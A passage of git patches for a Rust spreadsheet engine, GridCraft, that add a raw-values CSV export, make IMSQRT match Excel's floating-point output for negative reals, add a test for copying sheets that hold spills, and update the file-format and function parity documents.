("G1", "a,b", "General"), + ("H1", "=1/0", "General"), + ] { + s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); + s.execute("home.numberFormat", json!({"range": cell, "code": code})).unwrap(); + } + #[allow(clippy::disallowed_methods)] // native-only test: a unique temp dir name + let nonce = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap().as_nanos(); + let dir = std::env::temp_dir().join(format!("gridcraft-csv-values-{}-{nonce}", std::process::id())); + std::fs::create_dir(&dir).unwrap(); + let displayed = dir.join("displayed.csv"); + s.execute("file.exportCsv", json!({"path": displayed})).unwrap(); + s.execute("file.exportCsv", json!({"path": dir.join("off.csv"), "values": false})).unwrap(); + let raw = dir.join("raw.csv"); + s.execute("file.exportCsv", json!({"path": raw, "values": true})).unwrap(); + let saved = s.execute("file.saveBytes", json!({"format": "csv"})).unwrap(); + let default = crate::io::base64_decode(saved["base64"].as_str().unwrap()).unwrap(); + // The default export is byte for byte what Save As CSV writes, and `values: false` is the default. + assert_eq!(std::fs::read(&displayed).unwrap(), default); + assert_eq!(std::fs::read(dir.join("off.csv")).unwrap(), default); + let default = String::from_utf8(default).unwrap(); + assert!(default.starts_with("\"$1,234.50\",0.12,1-Jan-26,"), "{default}"); + assert_eq!(std::fs::read_to_string(&raw).unwrap(), "1234.5,0.123456789,2026-01-01,2026-01-01T12:00:00,18:00:00,TRUE,\"a,b\",#DIV/0!\r\n"); + std::fs::remove_dir_all(dir).unwrap(); +} + /// A workbook whose B1 is `=[1]Sheet1!A1`, linked to `link` (an external relationship target). fn linked_workbook(link: &str) -> Vec { use std::io::{Cursor, Write}; diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index cf567f8bd..ea1cc15db 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-21 · **Change:** minor (.xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-26 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -66,9 +66,9 @@ values) is still dropped. | Format | Excel | GridCraft read | GridCraft write | Notes | |---|---|---|---|---| -| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF; a file opened as CSV is saved with the separator it was read with, so a `;` file stays `;`; otherwise `,`) | Excel writes the **displayed** values; we write raw values. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | +| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF; a file opened as CSV is saved with the separator it was read with, so a `;` file stays `;`; otherwise `,`) | Excel writes the **displayed** values, and so do we; `file.exportCsv {values: true}` writes raw values (full precision, ISO 8601 dates) for automation. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8) | yes | Text Import Wizard options partly via Text to Columns | -| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`). No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | +| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`); `file.exportCsv {values: true}` writes raw values instead. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | | `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | @@ -115,6 +115,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | | 2026-10-20 | trivial | A workbook theme's major/minor East Asian (``) and complex-script (``) typefaces are read and written back, so a Japanese theme's fonts (e.g. 游ゴシック) survive open + save; they were deleted before because the model had nowhere to keep them. Rendering still resolves fonts without them (follow-up) | | 2026-10-19 | minor | XLSX font charset and family values are preserved on save, retaining the character set and family used for substitute font selection | +| 2026-10-26 | trivial | `file.exportCsv {values: true}` writes raw cell values (full-precision numbers, ISO 8601 dates and times) for automation; the default stays Excel's displayed text (#2648) | | 2026-10-19 | minor | CSV and text import decodes likely Windows-1256 Arabic; other invalid UTF-8 retains the Windows-1252 fallback | | 2026-10-19 | minor | .xls import skips dialog sheets (WsBool `fDialog`), which share the worksheet BOF type and were read as empty worksheets | | 2026-10-19 | minor | `.xls` import reads WINDOW2: right-to-left sheets (common in older Arabic and Hebrew files) open right-to-left, and hidden gridlines, headings and zero values and Show Formulas carry over | From 9595fc8ee7006c3edfed5ae955d91b3393325d4a Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:42:23 -0500 Subject: [PATCH 019/298] CSV export values: pick the ISO shape from the format's date and time parts; guard the file test on wasm32 --- crates/engine/src/io.rs | 26 ++++++++++++-------------- crates/engine/src/tests.rs | 10 +++++++++- crates/numfmt/src/lib.rs | 14 +++++++++++++- 3 files changed, 34 insertions(+), 16 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index ba44f1f2b..3b8bacfe4 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -301,12 +301,9 @@ pub fn csv_values_bytes(wb: &Workbook) -> Result> { let Some(sh) = wb.sheet(wb.active_sheet()) else { return Ok(Vec::new()) }; gridcraft_xlsx::write_csv(sh, wb.csv_delimiter.unwrap_or(b','), |c| match sh.value(c) { gridcraft_core::Value::Number(n) if n.is_finite() => { - let kind = crate::display::number_format(wb.styles.get(sh.style_id(c)).num_fmt.as_str()).kind(); - let dt = matches!(kind, gridcraft_numfmt::FormatKind::Date | gridcraft_numfmt::FormatKind::Time) - .then(|| gridcraft_core::date::datetime_from_serial(wb.date_system, n)) - .flatten(); - match dt { - Some(d) => iso(&d, kind == gridcraft_numfmt::FormatKind::Time && n < 1.0, n.fract() != 0.0), + let shape = crate::display::number_format(wb.styles.get(sh.style_id(c)).num_fmt.as_str()).date_shape(); + match shape.zip(gridcraft_core::date::datetime_from_serial(wb.date_system, n)) { + Some(((date, time), d)) => iso(&d, date, time), None => n.to_string(), } } @@ -316,16 +313,17 @@ pub fn csv_values_bytes(wb: &Workbook) -> Result> { .map_err(|e| EngineError::Other(e.to_string())) } -fn iso(d: &gridcraft_core::date::DateTime, time_only: bool, with_time: bool) -> String { - let date = format!("{:04}-{:02}-{:02}", d.year, d.month, d.day); - let mut time = format!("{:02}:{:02}:{:02}", d.hour, d.minute, d.second); +/// `date` and `time` say which parts the cell's format shows; a format with neither is not a date. +fn iso(d: &gridcraft_core::date::DateTime, date: bool, time: bool) -> String { + let day = format!("{:04}-{:02}-{:02}", d.year, d.month, d.day); + let mut clock = format!("{:02}:{:02}:{:02}", d.hour, d.minute, d.second); if d.milli != 0 { - time.push_str(&format!(".{:03}", d.milli)); + clock.push_str(&format!(".{:03}", d.milli)); } - match (time_only, with_time) { - (true, _) => time, - (false, true) => format!("{date}T{time}"), - (false, false) => date, + match (date, time) { + (true, true) => format!("{day}T{clock}"), + (false, true) => clock, + _ => day, } } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index c42d1484b..c76320592 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2463,6 +2463,7 @@ fn saving_an_opened_semicolon_csv_keeps_semicolons() { /// `file.exportCsv` writes displayed text by default (Excel's Save As CSV); `values: true` writes the /// raw values for automation: full precision, ISO dates and times. #[test] +#[cfg(not(target_arch = "wasm32"))] fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { let mut s = s(); for (cell, input, code) in [ @@ -2474,6 +2475,10 @@ fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { ("F1", "TRUE", "General"), ("G1", "a,b", "General"), ("H1", "=1/0", "General"), + ("I1", "1", "h:mm"), + ("J1", "1.5", "h:mm"), + ("K1", "46023", "yyyy-mm-dd hh:mm"), + ("L1", "1.5", "[h]:mm"), ] { s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); s.execute("home.numberFormat", json!({"range": cell, "code": code})).unwrap(); @@ -2494,7 +2499,10 @@ fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { assert_eq!(std::fs::read(dir.join("off.csv")).unwrap(), default); let default = String::from_utf8(default).unwrap(); assert!(default.starts_with("\"$1,234.50\",0.12,1-Jan-26,"), "{default}"); - assert_eq!(std::fs::read_to_string(&raw).unwrap(), "1234.5,0.123456789,2026-01-01,2026-01-01T12:00:00,18:00:00,TRUE,\"a,b\",#DIV/0!\r\n"); + assert_eq!( + std::fs::read_to_string(&raw).unwrap(), + "1234.5,0.123456789,2026-01-01,2026-01-01T12:00:00,18:00:00,TRUE,\"a,b\",#DIV/0!,00:00:00,12:00:00,2026-01-01T00:00:00,1.5\r\n" + ); std::fs::remove_dir_all(dir).unwrap(); } diff --git a/crates/numfmt/src/lib.rs b/crates/numfmt/src/lib.rs index 06d0a8693..d5c4ef41b 100644 --- a/crates/numfmt/src/lib.rs +++ b/crates/numfmt/src/lib.rs @@ -15,7 +15,7 @@ use gridcraft_core::{CellError, DateSystem, Value}; pub use builtin::{builtin_format, builtin_id}; pub use decimal::format_general_fit; -use parse::{SecKind, Section, Tok}; +use parse::{DatePart, SecKind, Section, Tok}; use render::Out; /// Width (in characters) of General output in a cell. @@ -193,6 +193,18 @@ impl NumberFormat { self.num_sections().iter().any(|s| s.kind == SecKind::Date) } + /// For a date or time format, whether its first section shows calendar parts (year, month, + /// day) and whether it shows time parts, as `(date, time)`. `None` for any other format and for + /// elapsed-time codes like `[h]:mm`, whose value is a duration, not a moment. + pub fn date_shape(&self) -> Option<(bool, bool)> { + let s = self.num_sections().first().filter(|s| s.kind == SecKind::Date)?; + let parts = || s.toks.iter().filter_map(|t| if let Tok::Date(d) = t { Some(*d) } else { None }); + if parts().any(|d| matches!(d, DatePart::ElapsedH(_) | DatePart::ElapsedM(_) | DatePart::ElapsedS(_))) { + return None; + } + Some((parts().any(DatePart::is_calendar), parts().any(|d| !d.is_calendar()))) + } + pub fn is_percent(&self) -> bool { self.num_sections().iter().any(|s| s.kind == SecKind::Number && s.percent > 0) } From f4f48f3b23efb56cc5e3d4e5fd726d73bc1b70d7 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:51:42 -0500 Subject: [PATCH 020/298] CSV export values: choose the date or time shape from the format section that formats the value --- crates/engine/src/io.rs | 2 +- crates/engine/src/tests.rs | 3 ++- crates/numfmt/src/lib.rs | 6 +++--- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 3b8bacfe4..ce5b7a871 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -301,7 +301,7 @@ pub fn csv_values_bytes(wb: &Workbook) -> Result> { let Some(sh) = wb.sheet(wb.active_sheet()) else { return Ok(Vec::new()) }; gridcraft_xlsx::write_csv(sh, wb.csv_delimiter.unwrap_or(b','), |c| match sh.value(c) { gridcraft_core::Value::Number(n) if n.is_finite() => { - let shape = crate::display::number_format(wb.styles.get(sh.style_id(c)).num_fmt.as_str()).date_shape(); + let shape = crate::display::number_format(wb.styles.get(sh.style_id(c)).num_fmt.as_str()).date_shape(n); match shape.zip(gridcraft_core::date::datetime_from_serial(wb.date_system, n)) { Some(((date, time), d)) => iso(&d, date, time), None => n.to_string(), diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index c76320592..c97f033d1 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2479,6 +2479,7 @@ fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { ("J1", "1.5", "h:mm"), ("K1", "46023", "yyyy-mm-dd hh:mm"), ("L1", "1.5", "[h]:mm"), + ("M1", "2.5", "[>=3]yyyy-mm-dd;[<3]hh:mm"), ] { s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); s.execute("home.numberFormat", json!({"range": cell, "code": code})).unwrap(); @@ -2501,7 +2502,7 @@ fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { assert!(default.starts_with("\"$1,234.50\",0.12,1-Jan-26,"), "{default}"); assert_eq!( std::fs::read_to_string(&raw).unwrap(), - "1234.5,0.123456789,2026-01-01,2026-01-01T12:00:00,18:00:00,TRUE,\"a,b\",#DIV/0!,00:00:00,12:00:00,2026-01-01T00:00:00,1.5\r\n" + "1234.5,0.123456789,2026-01-01,2026-01-01T12:00:00,18:00:00,TRUE,\"a,b\",#DIV/0!,00:00:00,12:00:00,2026-01-01T00:00:00,1.5,12:00:00\r\n" ); std::fs::remove_dir_all(dir).unwrap(); } diff --git a/crates/numfmt/src/lib.rs b/crates/numfmt/src/lib.rs index d5c4ef41b..52cada2c7 100644 --- a/crates/numfmt/src/lib.rs +++ b/crates/numfmt/src/lib.rs @@ -193,11 +193,11 @@ impl NumberFormat { self.num_sections().iter().any(|s| s.kind == SecKind::Date) } - /// For a date or time format, whether its first section shows calendar parts (year, month, + /// For a date or time format, whether the section that formats `value` shows calendar parts (year, month, /// day) and whether it shows time parts, as `(date, time)`. `None` for any other format and for /// elapsed-time codes like `[h]:mm`, whose value is a duration, not a moment. - pub fn date_shape(&self) -> Option<(bool, bool)> { - let s = self.num_sections().first().filter(|s| s.kind == SecKind::Date)?; + pub fn date_shape(&self, value: f64) -> Option<(bool, bool)> { + let s = self.select(value).map(|(s, _)| s).filter(|s| s.kind == SecKind::Date)?; let parts = || s.toks.iter().filter_map(|t| if let Tok::Date(d) = t { Some(*d) } else { None }); if parts().any(|d| matches!(d, DatePart::ElapsedH(_) | DatePart::ElapsedM(_) | DatePart::ElapsedS(_))) { return None; From 1fadf98a10838fc5d68f1211c5d516a7b8ed4ea0 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:58:54 -0500 Subject: [PATCH 021/298] IMSQRT: reproduce Excel's stray real part for negative reals Excel computes IMSQRT through the polar form, so IMSQRT("-4") is 1.22514845490862E-16+2i rather than 2i. Tests assert strings read back from Excel; the function-parity doc lists the remaining IM* differences. --- crates/functions/src/engineering.rs | 56 +++++++++++++++++++++++++---- docs/function-parity.md | 4 ++- 2 files changed, 52 insertions(+), 8 deletions(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index 86ab7d7c7..f7ee02d5b 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -710,11 +710,26 @@ im1!(imexp, |z: Cx| Ok(z.exp())); im1!(imln, |z: Cx| z.ln()); im1!(imlog10, |z: Cx| z.ln().map(|l| Cx::new(l.re / std::f64::consts::LN_10, l.im / std::f64::consts::LN_10))); im1!(imlog2, |z: Cx| z.ln().map(|l| Cx::new(l.re / std::f64::consts::LN_2, l.im / std::f64::consts::LN_2))); +// Excel takes the polar route, so IMSQRT("-4") is 1.22514845490862E-16+2i, not 2i. Its cosine +// reduces its argument with a 64-bit-mantissa pi, which is PI/2 + 2.5e-20 and shows up as the +// stray real part. `+ 0.0` turns a -0 imaginary part into +0, so the angle stays +pi. +// shortcut: parts above ~1E154 or below ~1E-155 keep the exact result (Excel gives #NUM! or 0), no known use. +const HALF_PI_EXCESS: f64 = 2.508_278_806_33e-20; im1!(imsqrt, |z: Cx| { - let m = z.abs(); - let re = ((m + z.re) / 2.0).sqrt(); - let im = ((m - z.re) / 2.0).sqrt(); - Ok(Cx::new(re, if z.im < 0.0 { -im } else { im })) + let im = z.im + 0.0; + let theta = match z.re { + x if x == 0.0 => { + if im == 0.0 { + 0.0 + } else { + std::f64::consts::FRAC_PI_2.copysign(im) + } + } + x if x > 0.0 => (im / x).atan(), + x => (im / x).atan() + if im < 0.0 { -std::f64::consts::PI } else { std::f64::consts::PI }, + }; + let (half, root) = (theta / 2.0, z.abs().sqrt()); + Ok(Cx::new(root * (half.cos() + HALF_PI_EXCESS * half.abs().sin()), root * half.sin())) }); im1!(imsin, |z: Cx| Ok(z.sin())); im1!(imcos, |z: Cx| Ok(z.cos())); @@ -1275,9 +1290,36 @@ mod tests { cx(ev("IMLOG10", vec![t("3+4i")]), 0.698_970_004_336_018_8, 0.402_719_196_273_373_2); cx(ev("IMLOG2", vec![t("3+4i")]), 2.321_928_094_887_362, 1.337_804_212_450_976_8); cx(ev("IMSQRT", vec![t("1+i")]), 1.098_684_113_467_809_9, 0.455_089_860_562_227_3); - cx(ev("IMSQRT", vec![t("-4")]), 0.0, 2.0); - is_text(ev("IMSQRT", vec![t("-4")]), "2i"); - is_text(ev("IMSQRT", vec![t("-9")]), "3i"); + // Strings read back from Excel (16.0): its stray real part on negative reals included. + for (input, want) in [ + ("-4", "1.22514845490862E-16+2i"), + ("-9", "1.83772268236293E-16+3i"), + ("-1", "6.1257422745431E-17+i"), + ("-2", "8.66310780426106E-17+1.4142135623731i"), + ("-100", "6.1257422745431E-16+10i"), + ("-1E10", "6.1257422745431E-12+100000i"), + ("-1E-10", "6.1257422745431E-22+0.00001i"), + ("-4+0j", "1.22514845490862E-16+2j"), + ("-4-0i", "1.22514845490862E-16+2i"), + ("-4-1E-20i", "1.22514845490862E-16-2i"), + ("-1+1E-10i", "5.00000653944413E-11+i"), + ("-0.5-1E-12i", "7.07212958930194E-13-0.707106781186548i"), + ("4", "2"), + ("2", "1.4142135623731"), + ("0", "0"), + ("3+4i", "2+i"), + ("3+4j", "2+j"), + ("-3+4i", "1+2i"), + ("-3-4i", "1-2i"), + ("-2i", "1-i"), + ("2i", "1+i"), + ("i", "0.707106781186548+0.707106781186547i"), + ("5-12i", "3-2i"), + ("-5+12i", "2+3i"), + ("1E10+1E10i", "109868.411346781+45508.9860562227i"), + ] { + is_text(ev("IMSQRT", vec![t(input)]), want); + } is_text(ev("IMSQRT", vec![t("4")]), "2"); is_text(ev("IMSQRT", vec![t("-2i")]), "1-i"); is_text(ev("IMPOWER", vec![t("2+3i"), n(3.0)]), "-46+9i"); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..12e239059 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-26 · **Change:** minor (IMSQRT reproduces the stray real part Excel gives for negative reals, and the other IM* differences from Excel are listed; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -90,6 +90,7 @@ This improves series preparation; it does not change the model-fitting or season | LET, LAMBDA, named LAMBDAs, ISOMITTED, MAP/REDUCE/SCAN/BYROW/BYCOL/MAKEARRAY | done. A LAMBDA that calls itself more than 140 times, or a formula nested past the depth limit, gives `#NUM!` (the target app allows deeper recursion, #1581). Calling a defined name that holds an error value gives that error, not `#NAME?` | | Iterative calculation for circular references | done: with Enable Iterative Calculation on (`formulas.calculationOptions` `{iterative, maxIterations, maxChange}`, saved as ``), loops are evaluated again from their previous values (blank = 0) until no cell on a loop changes by Maximum Change or Maximum Iterations is reached; off, cycles give `#CIRC!`. Set in File › Options › Formulas (Enable iterative calculation, Maximum Iterations 1 to 32767, Maximum Change 0 or more; the two fields are disabled while iteration is off). Differences: GridCraft recalculates on open, so a loop that never settles (`=A1+1`) advances again each time the file is opened | 15-significant-digit comparison semantics | done (#57): `=0.1+0.2=0.3` is TRUE, and MATCH and COUNTIF compare the same way. Arithmetic keeps full precision, as Excel does — `=(0.1+0.2)-0.3` is 5.55E-17 | +| IMSQRT and the other IM* functions against Excel's text | IMSQRT follows Excel's polar route, so a negative real gives Excel's stray real part: `IMSQRT("-4")` is `1.22514845490862E-16+2i` (checked in Excel 16.0 on 79 inputs). Differences kept: IMSQRT of a number with a part above about 1E154 or below about 1E-155 gives the exact root (Excel gives `#NUM!` or 0); IMPOWER, IMEXP, IMSIN, IMCOS, IMSINH and IMCOSH keep exact results where Excel shows the same kind of noise (`IMPOWER("-4",2)` is `16-3.92047505570758E-15i`) or different trailing digits near multiples of pi/2; IMCSC and IMCSCH differ by one unit in the 15th digit; IMARGUMENT returns 16–17 digits where Excel returns 15; the text of IM* and COMPLEX results differs for some magnitudes (Excel writes `COMPLEX(1E-10,1)` as `0.0000000001+i` but `COMPLEX(0.000000123456789012345,1)` as `1.23456789012345E-07+i`, and an integer past 15 digits rounded and zero-padded) | | External workbook references (`[Book.xlsx]Sheet1!A1`) | parsed; links dropped on open, no update | | Localized function names and `;` separators | **missing** (#45); en-US only | | Long flat operator chains (`=A1+A2+…`, `-`, `*`, `/`, `^`, `&`, comparisons) | done: no operand limit below Excel's 8,192-character formula limit (Excel, observed: `=1+1+…` with 4,096 operands is exactly 8,192 characters with the `=` and calculates; one more character is refused). Evaluated (#484), printed (#628), stored, copied, adjusted, saved and reopened without recursing once per operand, on a 1 MiB stack (#916); written to XLSX as plain formulas, not dynamic arrays; Spanish entry accepts them | @@ -123,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From acc32227cb52dc2e630d5353468cf39988292798 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 13:03:51 -0500 Subject: [PATCH 022/298] IMSQRT: match the zero real part by pattern (clippy redundant_guards) --- crates/functions/src/engineering.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index f7ee02d5b..e6f14ffdd 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -718,7 +718,7 @@ const HALF_PI_EXCESS: f64 = 2.508_278_806_33e-20; im1!(imsqrt, |z: Cx| { let im = z.im + 0.0; let theta = match z.re { - x if x == 0.0 => { + 0.0 => { if im == 0.0 { 0.0 } else { From 2b6e088a6d51a8022cde632f370bd07e2f7d8881 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 17:29:12 -0500 Subject: [PATCH 023/298] Engine test: copying a sheet that holds a spill matches a full recalc (#2053) --- crates/engine/tests/it/main.rs | 1 + crates/engine/tests/it/sheet_copy_spill.rs | 33 ++++++++++++++++++++++ 2 files changed, 34 insertions(+) create mode 100644 crates/engine/tests/it/sheet_copy_spill.rs diff --git a/crates/engine/tests/it/main.rs b/crates/engine/tests/it/main.rs index 4c91e58ac..28d0831e3 100644 --- a/crates/engine/tests/it/main.rs +++ b/crates/engine/tests/it/main.rs @@ -23,6 +23,7 @@ mod pivot_unknown_func; mod pivotchart_link; mod range_fill_formats; mod row_autofit; +mod sheet_copy_spill; mod sheet_name_quoting; mod sparse_clear_invalidation; mod stored_list_shape; diff --git a/crates/engine/tests/it/sheet_copy_spill.rs b/crates/engine/tests/it/sheet_copy_spill.rs new file mode 100644 index 000000000..f7e62711b --- /dev/null +++ b/crates/engine/tests/it/sheet_copy_spill.rs @@ -0,0 +1,33 @@ +use gridcraft_core::{CellRef, Value}; +use gridcraft_engine::Session; +use gridcraft_engine::calc::Calc; +use serde_json::{Value as Json, json}; + +fn run(s: &mut Session, command: &str, params: Json) { + s.execute(command, params).unwrap(); +} + +fn value(s: &Session, sheet: &str, cell: &str) -> Value { + let wb = &s.doc().unwrap().wb; + wb.sheet(wb.sheet_index(sheet).unwrap()).unwrap().value(CellRef::parse(cell).unwrap()) +} + +/// Issue #2053: the copy of a sheet holding a spill keeps the spill's values, in memory and after a full recalc. +#[test] +fn copied_sheet_keeps_spill_values_through_full_recalc() { + let mut s = Session::new(); + run(&mut s, "file.new", json!({"sample": "grades"})); + run(&mut s, "home.mergeCells", json!({"range": "F:H"})); + run(&mut s, "cell.set", json!({"cell": "J54", "input": "=SEQUENCE(5)*C6"})); + run(&mut s, "selection.set", json!({"range": "15:15"})); + run(&mut s, "sheet.move", json!({"copy": true, "sheet": 0, "to": 1})); + run(&mut s, "cell.set", json!({"array": true, "cell": "D3", "input": "=SUM('Grades (2)'!J54#)"})); + + let before = value(&s, "Grades (2)", "J55"); + assert!(matches!(before, Value::Number(_)), "J55 should hold a spilled number, got {before:?}"); + + let mut fresh = s.doc().unwrap().wb.clone(); + Calc::new().recalc_all(&mut fresh); + let after = fresh.sheet(fresh.sheet_index("Grades (2)").unwrap()).unwrap().value(CellRef::parse("J55").unwrap()); + assert_eq!(before, after); +} From 0edf2b850a1093b009ae5b65624165ce5b0bcb35 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 17:34:04 -0500 Subject: [PATCH 024/298] Fix the spill test: clone the workbook out of its Arc (#2053) --- crates/engine/tests/it/sheet_copy_spill.rs | 2 +- 1 file changed, 1 insertion(+), 1 